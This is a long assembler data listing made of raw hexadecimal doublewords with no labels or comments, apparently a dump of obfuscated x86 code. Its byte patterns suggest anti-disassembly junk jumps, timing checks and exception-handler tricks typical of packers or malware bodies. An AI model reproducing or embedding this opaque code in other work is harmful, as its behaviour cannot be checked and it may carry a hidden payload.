		dd 0DA8B6653h, 5C0835Bh, 0E9505B56h, 12h, 2CE1C5E5h, 0FAF8EE4h
		dd 8B2BDFE5h, 2244DEE8h, 4897F71h, 39B53124h, 6A062A0Bh
		dd 0B19D8B00h, 6A062A2Dh, 0E99D3300h, 0FF062A25h, 2A127595h
		dd 9D8B5306h, 62A2C65h,	668D8D5Fh, 8B062DB9h, 2A1BCD9Dh
		dd 9D096006h, 62A0061h,	14799D31h, 0FF61062Ah, 83FA8BD1h
		dd 2A3415BDh, 850F0106h, 76h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0DFC35141h,	0CFF00E3Dh, 0A6840162h
		dd 89026AA6h, 2A26C5BDh, 0E9529006h, 0Bh, 90CAF4DAh, 0A47804D5h
		dd 5F76E8F3h, 90DBB350h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0F4C35141h, 8149FD6Fh, 5212E173h, 5D95FF4Dh
		dd 0F8062A13h, 1FD99D0Bh, 3AE9062Ah, 0E800000Dh, 0
		dd 50ED815Dh, 6A062F1Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0C8DBC352h,	39895A02h
		dd 579BD9EFh, 1B219D8Bh, 8D5B062Ah, 2D96C485h, 0AE906h
		dd 0D1B10000h, 0F936D48Ah, 0CB608250h, 0FA8B6690h, 0BDB7BF50h
		dd 6A900E4Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 22BCC352h, 859D89F9h, 0F062A22h
		dd 68Bh, 7D8D8900h, 64062A0Ch, 35FFh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 8B7C3FC3h, 258964h, 8B000000h, 0C185FFF9h, 66062A14h
		dd 8B66DE8Bh, 8BFF6AD9h, 2A06FD9Dh, 0E1B5FF06h,	6A062A28h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 7842C356h, 0F42C9142h, 85010A34h,	62A0995h
		dd 238D95FFh, 2FE9062Ah, 1000001h, 2A0D1D8Dh, 0B700B006h
		dd 0D37BBF29h, 70E649DFh, 0DE8h, 15224000h, 7B3FE764h
		dd 87878F4Ah, 1DBF93CFh, 5F50CDB9h, 25D59589h, 71E4062Ah
		dd 10C59589h, 613C062Ah, 0F0830Fh, 0B70F0000h, 0C8B60FDEh
		dd 6BAF88Bh, 0F000000h,	0C18BFFBFh, 0F04E8C1h, 0F766DABFh
		dd 598FBBE2h, 0C82B46CFh, 42F4F2BFh, 0E9D18B7Eh, 0Fh, 21366CE3h
		dd 0BFE5AF44h, 18C70BA7h, 0E91F80EAh, 0AEh, 7E8h, 0F43ECA00h
		dd 338EA04Eh, 3459D0Bh,	665F062Ah, 858BD88Bh, 47554C50h
		dd 15CDBD8Bh, 0C083062Ah, 0FB8B6607h, 0E900C083h, 11h
		dd 0E3A968D5h, 125759B5h, 2C608DB8h, 8686B8D5h,	0FD03BB4h
		dd 1183h, 0A19D8B00h, 0E9062A23h, 5Ah, 1F9D9D0Bh, 8D8B062Ah
		dd 0FFFFFFFFh, 9AD9D8Bh, 0E183062Ah, 3F840F01h,	89000000h
		dd 2A1F1185h, 8870F06h,	56000000h, 3898529h, 835F062Ah
		dd 0FFFFFFA5h, 9D8BFEFFh, 62A0C91h, 3880F60h, 66000000h
		dd 858BD98Bh, 62A1071h,	50958961h, 8B47554Ch, 0E9FAh, 0B58D0000h
		dd 62E9853h, 6ADABF0Fh,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0B99D23F2h, 60062A1Fh
		dd 5E9h, 24AA1500h, 0B96654EAh,	0FF612178h, 2A343995h
		dd 13E906h, 0F3AD0000h,	0DD566C03h, 5F6A46BDh, 0ABC65F88h
		dd 0BBDD5CF6h, 31BD2939h, 0B9062A28h, 0F51h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0A4C35343h, 7C932BC7h
		dd 0B3FCE183h, 483EBF0Eh, 8BFC0C03h, 2A2481BDh,	0B806h
		dd 0BF660000h, 0BA430Bh, 66000000h, 33ADFE8Bh, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 8722CAC3h, 1ACAA660h, 0E86013AAh
		dd 0Ch,	101B2003h, 0AFD17C6Dh, 4A7DA828h, 0D92134BEh, 0D615E5Dh
		dd 88h,	3395958Bh, 6A062Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0B5DF6FC3h, 25AA1C3Dh
		dd 8BF9E232h, 2A0BF98Dh, 0EFBF5206h, 5B1B11C7h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0A29BFCC3h
		dd 0EC19D01h, 0BD83062Ah, 62A0FA5h, 0CB840F00h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 91CEC355h, 1AC393E0h, 57D0AF09h, 5FD98B66h
		dd 11E8h, 73953800h, 53D02735h,	9FCBB91Ah, 0F84F8498h
		dd 9D8B453Bh, 62A1A05h,	0B85Bh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 3057F7C3h
		dd 26D94025h, 9D8B9C73h, 62A32F1h, 4E978D8Dh, 6A062Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 2C26DC3h, 0EB80B09Ch, 6AE1FF19h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0C367C353h
		dd 0C5E68C8Eh, 995F41E4h, 0FFA8B66h, 0BD83F9BFh, 62A06C5h
		dd 6F840F00h, 66000004h, 16CEE381h, 6C5BD83h, 0F01062Ah
		dd 47884h, 68D0F00h, 81000000h,	757CA6CFh, 0C5BD8339h
		dd 3062A06h, 429860Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 77E87AC3h, 6816164Ch
		dd 299589D0h, 60062A16h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 1AC35747h, 0BD899D14h, 62A1AE9h, 6AD98C66h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 3432C350h, 79C69D38h, 7E3A8A17h, 24A19D89h
		dd 0E180062Ah, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0D8D82BDEh, 136A223Fh
		dd 8C0430BBh, 0FC90A62h, 14C84h, 5E800h, 461F0000h, 0E82971A4h
		dd 13h,	0FF46B815h, 0BB6F4236h,	5DDDB6A3h, 48C48A61h, 899EF312h
		dd 2A0349B5h, 8B5B5B06h, 2A293985h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 425ECD6h, 8B89D248h
		dd 0F98533FEh, 90062A05h, 5E9h,	0DF0DE800h, 6050E983h
		dd 28A0Fh, 0E58A0000h, 9061F78Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 88C35646h, 0D13F5D7Bh, 8BFB3CA8h
		dd 2A1B31BDh, 9DF78106h, 6A57EBA0h, 12E900h, 0C15E0000h
		dd 0B6FA8C22h, 1897F0A6h, 72ACA6DAh, 0D7E3C36Ah, 82504D68h
		dd 31C9BB95h, 4810EC4h,	9CB3B224h, 51006A6Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 8B07218Bh
		dd 8BD79334h, 2A173DBDh, 8195FF06h, 6A062A2Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0AE6FC355h, 9D8B868Ch, 62A1785h, 0B9BE8589h,	880F062Dh
		dd 6, 0E299D8Bh, 0F6E9062Ah, 0E8000001h, 0Eh, 0D4827CE8h
		dd 8572E90Eh, 0DAF9CAFh, 2AB7844Ch, 0B6858B5Fh,	0E9062DB9h
		dd 5, 0D9B63761h, 1800C70Ch, 8B000000h,	2A0E759Dh, 0BAB58B06h
		dd 6A062DB9h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0B94DC350h, 11E9h, 0A26F9300h
		dd 85630709h, 2097C836h, 9F6FA6EFh, 858BC6DCh, 62A04DDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A6C35646h
		dd 0C78166CBh, 8A0FFBB4h, 5, 2FCF8166h,	6A0689EEh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 130C352h, 0EE524D4Ah, 64BA9230h, 18A5B589h, 858B062Ah
		dd 62A2939h, 28319529h,	4689062Ah, 55953104h, 96062A00h
		dd 6E9h, 1D95DA00h, 50036B30h, 60525060h, 56310F61h, 8B585A5Bh
		dd 239661CAh, 2A0D11BDh, 0B6B5FF06h, 6A062DB9h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 1BD0C353h, 6CEBBDE0h, 90C9FB1Eh, 0E3456A68h,	60525066h
		dd 0E8F88B66h, 13h, 4FDB5F33h, 9A28E1E9h, 0F059F43Fh, 98544E20h
		dd 58DFCF23h, 0BF310F61h, 37927F6Dh, 3481585Ah,	0FC469524h
		dd 52006A66h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0E1BCF584h, 8D24DC85h, 2DB9BE85h, 0DE95706h
		dd 0DD000000h, 24C907FFh, 0F3239C83h, 4EA252B9h, 6660905Bh
		dd 5061CF8Bh, 108F0Fh, 8E80000h, 0FF000000h, 8057077Dh
		dd 5205E202h, 0F905F5Bh, 8Ch, 8195FF00h, 6A062A2Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 1EDFC357h, 34A7E244h, 50C44B9Fh, 31B58B60h, 61062A23h
		dd 6A615Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0C73124C3h, 2A06C585h, 306h, 83F88A00h, 2DB9BEBDh
		dd 840F0006h, 17h, 18799D03h, 9D8B062Ah, 62A22CDh, 21E9h
		dd 0DDBD0B00h, 50062A1Ah, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 8589C08Bh, 62A32ADh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 9CC35646h, 0FA8A1CFEh
		dd 17A19D23h, 0BD83062Ah, 62A06C5h, 0C6850F03h,	0F000003h
		dd 0C8Dh, 7E900h, 81700000h, 72AD47D4h,	0FE881h, 0C010000h
		dd 0F6CCAD51h, 0D8FB03Fh, 58F1A3ACh, 0B59D237Fh, 5B062A2Ch
		dd 0B9BEBD83h, 0F00062Dh, 38C84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 4C559BA5h
		dd 0AE8h, 59F2EC00h, 689537D6h,	29254A69h, 2A2D298Dh, 85895F06h
		dd 62A1F19h, 0B9BEB5FFh, 6A062Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 859C0DC3h, 964DC6A9h
		dd 7E91Bh, 0AD410000h, 2F06917Ch, 95FFF966h, 62A164Dh
		dd 72DBD8Bh, 0B58B062Ah, 62DB9B2h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0EC35747h, 9AE8273Dh, 9D8B6D7Fh
		dd 62A128Dh, 106C7h, 50FC0001h,	0F8F739BBh, 2434891Dh
		dd 337D9529h, 0D3BF062Ah, 0FF7A3A4Fh, 2DB9BEB5h, 1EF38106h
		dd 0FF5A340Ch, 2A1A3995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8B66EC51h
		dd 0B2B58BF8h, 1062DB9h, 2A08498Dh, 0E9858B06h,	2B062A12h
		dd 2A16F99Dh, 0C4868906h, 66000000h, 8BE59DBFh,	2A339595h
		dd 9D9D8B06h, 83062A2Dh, 0CE904C2h, 9C000000h, 0CE9F9127h
		dd 0D3F14C48h, 89CCE47Ah, 6A2050h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 63997EC3h, 853157B7h
		dd 62A0619h, 2C858D5Fh,	6A062DCCh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 8C65C355h
		dd 8689BA87h, 0B8h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0ADC35242h, 6A72F442h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 0D6ED1B7Bh, 3AB5CA63h, 0DD95891Fh, 0FF062A00h, 2DB9BEB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 7F1FDF39h, 51373218h, 0B52929A6h, 62A09A5h
		dd 4565BB66h, 0FFF8BF0Fh, 2A135D95h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0B5AB483h
		dd 66208348h, 4DCCB81h,	0DEBB6650h, 243489C6h, 0B964CB81h
		dd 0B5FF2771h, 62DB9BEh, 0A5AEF781h, 95FF7AC3h,	62A2609h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0E2C35343h
		dd 180A92A0h, 81A819D7h, 595F7AEBh, 61BD8326h, 62A1Fh
		dd 1B840Fh, 9D890000h, 62A33BDh, 24348950h, 58D0F60h, 66000000h
		dd 0D235CE81h, 0F0CBB966h, 0BEB5FF61h, 0F062DB9h, 68Bh
		dd 818D8900h, 0FF062A03h, 2A1A2995h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0D740C3C1h
		dd 7E9EF91h, 6F000000h,	673E8F0Bh, 0BD8BD638h, 62A2585h
		dd 0B9BEB5FFh, 8501062Dh, 62A1551h, 0EC595FFh, 6A062Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 626758C3h, 95C7FEE9h, 6680A1F8h, 0EB81D88Bh,	2CD75609h
		dd 1F7DBD83h, 0F02062Ah, 3684h,	51BD8B00h, 8B062A34h, 2A0F5985h
		dd 0C606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0F9C35242h, 12C3CB6Dh, 66ECA1ECh, 0C7B533BBh, 2A093585h
		dd 6, 0ABB6600h, 0F39BE93Eh, 8BFCFFFFh,	4820FC1h, 66000000h
		dd 8BABDDBFh, 2A072DBDh, 11858D06h, 6A062A19h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 63B4C350h, 0DF04A260h, 798D89F0h, 90062A34h,	4870Fh
		dd 0BF660000h, 50507B91h, 1D37BB52h, 310F2F46h,	0BE9h
		dd 96802B00h, 0F1D0F570h, 6634706Fh, 6A90585Ah,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8B5EC351h, 2A19919Dh, 6A006A06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 5860C352h
		dd 12919D33h, 6A062Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0BCC35747h, 9BDFD5CDh, 0D45A8F67h, 9E886h
		dd 64D60000h, 5939FBAEh, 80E2D203h, 605F6DC7h, 0F99D8B50h
		dd 58062A34h, 128DB589h, 6061062Ah, 54EF8166h, 0C18D3180h
		dd 61062A16h, 2C58858Dh, 8D89062Fh, 62A05D9h, 6A05C083h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 26CBC352h, 0A3F827CDh, 90B4BE1Dh,	5BD7B753h
		dd 800F9050h, 6, 1BD9B589h, 6A062Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 4C35545h, 543A6830h, 34A5E54h
		dd 2A33E1BDh, 0BE906h, 0A0BA0000h, 89B37Ah, 7DB51F75h
		dd 0F006AB5h, 68Dh, 858D8900h, 0FF062A2Dh, 2A127595h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 9774429h, 2A0B3DB5h,	668D8D06h, 6A062DB9h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0B8EC355h, 0ADDF577Ch, 6AD1FFFAh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0F9F5C353h
		dd 0C3BE1255h, 0AD9C7597h, 2B75B589h, 0BD83062Ah, 62A3415h
		dd 0C5850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0E9EFC356h,	0B06A41h
		dd 891A4352h, 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0C1BAF1C3h, 90A420E6h, 8B665250h
		dd 50310FD9h, 10E852h, 0C3730000h, 108F1D3Ah, 0F12BFD71h
		dd 0FB5708F0h, 0F5B8D10h, 5AFE8B31h, 50585A58h,	8D0FBB66h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0AF010F0Bh, 10E87498h, 8C000000h, 0F3D29A5Dh
		dd 0AE907DDEh, 0B558576Fh, 66269BC0h, 0FF5FFA8Bh, 2A135D95h
		dd 5E906h, 44D50000h
		dd 0BB9FA793h, 6E40E66Eh, 0EB8E9h, 0E800h, 815D0000h, 2F2C62EDh
		dd 0A1858906h, 8B062A27h, 52006AF8h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0B5472C0Ah
		dd 269AC935h, 6840F3Eh,	89000000h, 2A07D185h, 659D0106h
		dd 80062A27h, 858DE4E3h, 62D96C4h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 88C35040h, 41B2DCCBh, 6A9B441Dh
		dd 0F579052h, 287h, 5B616000h, 50525050h, 0AE952h, 91E40000h
		dd 193840BEh, 366805Bh,	6160310Fh, 310F585Ah, 0E8616060h
		dd 0Bh,	0C9655092h, 5160886Ah, 5F704C99h, 90585A61h, 1AADBD29h
		dd 0FF64062Ah, 35h, 0C99D8B00h,	64062A07h, 2589h, 0BF660000h
		dd 85FF7A84h, 62A14C1h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 57C35242h, 0A032C32Bh, 0FF6A2942h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 7C35141h, 522B0814h
		dd 0FE9h, 814D9300h, 7CAB548Fh,	0AB05A1F7h, 0EE628A6Fh
		dd 239DB5FFh, 6A062Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 386FC9C3h, 0CEBB450Eh, 0FF64CFD4h
		dd 2A238D95h, 0EFE906h,	0B5890000h, 62A2839h, 70E600B0h
		dd 0E4DA8B66h, 0CDBD8B71h, 3C062A32h, 0D2830F61h, 0F000000h
		dd 168Eh, 11E900h, 1B9A0000h, 0A9126E22h, 0F8DAC255h, 7F571Ch
		dd 0F05074Bh, 0B589C8B6h, 62A2A95h, 6BAh, 68E0F00h, 81000000h
		dd 5B533ACFh, 89C18B0Ah, 2A263D9Dh, 4E8C106h, 2509BD8Bh
		dd 0F766062Ah, 0C59D03E2h, 8B062A2Dh, 2A0811BDh, 0FC82B06h
		dd 0D18BDBBFh, 70E9h, 31BD8B00h, 2B062A28h, 2A1A2DBDh
		dd 49858B06h, 8344004Eh, 0BD8B07C0h, 62A06A1h, 0F00C083h
		dd 188h, 0D03BF500h, 10830Fh, 0EF810000h, 3EAF042Eh, 38E9h
		dd 0F7816600h, 8D8B7089h, 0FFFFFFFFh, 3ACABF66h, 0F01E183h
		dd 2084h, 71BF6600h, 0FFA58319h, 0FEFFFFFFh, 3451BD23h
		dd 9589062Ah, 44004E49h, 35D3BF66h, 0E9h, 0A4B58D00h, 6A062EA7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0B050C350h, 89FB8B66h, 2A34E595h,	66006A06h
		dd 6542D781h, 343995FFh, 6A062Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 93759CC3h, 0B9E44906h
		dd 0EC5h, 14E9F9h, 0D3E30000h, 0F22F124Ch, 0F355904Ah
		dd 0A292C84Bh, 3164EF0Eh, 0E1837901h, 12E8FCh, 0B32E0000h
		dd 0AC66D37Dh, 0CBBA4332h, 0F827CD26h, 0B4BE1DA3h, 0BF1CCB81h
		dd 895B79F4h, 2A2259B5h, 6AFC06h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 57412CC3h, 0A36491CAh
		dd 9ABB2369h, 2B73BE74h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 6563270Eh, 0B23BAF3Ah
		dd 59B529D6h, 8B062A10h, 2A2CE1BDh, 0BA06h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0F5D32BC3h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 81FB8B66h
		dd 8A40E4E3h, 880D01h, 0F600000h, 870FC2B7h, 6,	2C69BD8Bh
		dd 8B61062Ah, 2A339595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 943E6A6Fh, 0F3818063h
		dd 7152F867h, 51EB8166h, 0F98D8BD7h, 6A062A0Bh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 8D27C356h, 0ADA1CF05h, 14E9DCh, 74700000h, 0B4854999h
		dd 6A873CF4h, 0CF2C7206h, 0BAC9956Eh, 8B505469h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 55BD8B50h, 5B062A16h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 51C35141h
		dd 1F072E2h, 2A0D7DB5h,	0A5BD8306h, 62A0Fh, 63840Fh, 9D8B0000h
		dd 62A1F51h, 0B8h, 978D8D00h, 8B062A4Eh, 2A24C9BDh, 13E806h
		dd 2FD70000h, 60B34321h, 947B51D2h, 175EABAEh, 9FA4159h
		dd 4BBB664Fh, 0E1FF5F35h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 72C35747h, 606893D7h,	0BEAFCB81h, 0B58B7A4Fh
		dd 62A0735h, 0C5BD8361h, 62A06h, 490840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8B2C7BC3h, 2A34A99Dh, 0DABF0F06h, 6C5BD83h, 0F01062Ah
		dd 47884h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0BD838BA0h, 62A06C5h, 18860F03h
		dd 0F000004h, 4FB7D9BFh, 0FE960h, 0DAF40000h, 6DAAF4FAh
		dd 80A3AD7Eh, 0A06DECDEh, 0D98C6677h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 52C35343h, 7C84A7B2h, 801ACB1Eh
		dd 6A04E1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0FD621C3h, 0D1D8DA22h, 345DA5BBh,	0FC90A6Eh
		dd 16384h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0FA103253h, 0C6C4F872h, 38BB66F2h
		dd 39858B44h, 6A062A29h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 9FF9C356h, 5EE0A6E6h
		dd 33DABF0Fh, 2A05F985h, 58D8906h, 90062A26h, 50FA8B66h
		dd 39D27BFh, 6A907Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 4048D2C3h, 84194BE2h, 6AF9FEh, 0AE8h
		dd 4A619D00h, 1CAF052Dh, 0B36FF67Ch, 0FE685F58h, 60F7A121h
		dd 3B86660h, 61D38BAEh,	0DE9h, 2E065E00h, 0AF1CB016h, 0E81D7D8Dh
		dd 816119F0h, 0E2012404h, 6A087Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 594E5FC3h, 0C224027Ah
		dd 12E9DDD3h, 0D000000h, 7645E2C2h, 81A33CB0h, 0FF4A4B05h
		dd 3B8A6E6Ah, 8195FFCFh, 89062A2Bh, 2A1A15B5h, 0BE858906h
		dd 6A062DB9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0C64EC352h, 4746D054h,	8B66F83Fh
		dd 1D2E9D8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0E74499C3h, 0A2DB805Fh, 0B9B6858Bh
		dd 0D98B062Dh, 1800C7h,	9D8B0000h, 62A16EDh, 0B9BAB58Bh
		dd 8166062Dh, 8B732EE7h, 2A04DD85h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 1F686A8h, 6A0689h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0BF7EEFC3h, 0D3A1BD06h, 0A5858960h, 66062A07h, 8B61C88Bh
		dd 2A293985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8529734Dh, 62A07B1h, 57044689h, 0E8ACBF66h
		dd 0AE9505Bh, 0B7000000h, 454F67DBh, 0CAAF6311h, 24348959h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D0C35040h
		dd 91BD8B3Bh, 0FF062A17h, 2DB9B6B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h
		dd 24448104h, 1504h, 0C3504000h, 8D8999BCh, 62A06B1h, 4E8h
		dd 1F03FF00h, 50E5B700h, 310F5250h, 0BE8h, 0E1FB3600h
		dd 0AE28350Ah, 247A13F7h, 8B585A5Fh, 8B042444h,	89008BFBh
		dd 66042444h, 583B95BBh, 858DFA8Bh, 62DB9BEh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0ACC35646h, 0EF6AB616h
		dd 28B9BD8Bh, 0E950062Ah, 0Fh, 0FD3F469h, 2C5B4539h, 88868286h
		dd 895C8CACh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 19C7F2C3h, 0EA5CD5F8h, 0BD8BF15Ch
		dd 62A2299h, 2B8195FFh,	0FD8A062Ah, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0F277426h
		dd 682h, 8DBD3300h, 0C7062A0Fh,	2A06C585h, 306h, 83D88B00h
		dd 2DB9BEBDh, 840F0006h, 4Fh, 65E9h, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 13E9F089h
		dd 2F000000h, 0B29E073Eh, 4E4084BBh, 57A6A7B4h,	0D2B973D9h
		dd 10E90D90h, 23000000h, 7FF60C50h, 0AD2C18A9h,	0CEF6DDF9h
		dd 50BB7801h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 50BFC08Bh,	83339BFCh, 2A06C5BDh, 850F0306h
		dd 4CAh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 18h,	0CDC35242h, 9A6D4E6Bh, 83FB8B66h, 2DB9BEBDh, 840F0006h
		dd 49Ah, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0D5C35343h, 0B5FF7382h,	62DB9BEh, 10E9h, 60B57800h
		dd 0EBB2EEC4h, 0EC0F404Bh, 0DEB1C8Ch, 4D95FF50h, 6A062A16h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0C1B0C357h, 0CD2D423Ch, 8A0F459Ch, 6, 2AA9BD31h
		dd 5E9062Ah, 0D3000000h, 63EB2AEBh, 0B9B2B58Bh,	8589062Dh
		dd 62A2649h, 106C7h, 0E8500001h, 0Ch, 0E97E9124h, 0AA44A6C2h
		dd 0CE9DB09Dh, 895FDC8Ah, 6A2434h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0EB7922C3h, 0E96E9B88h
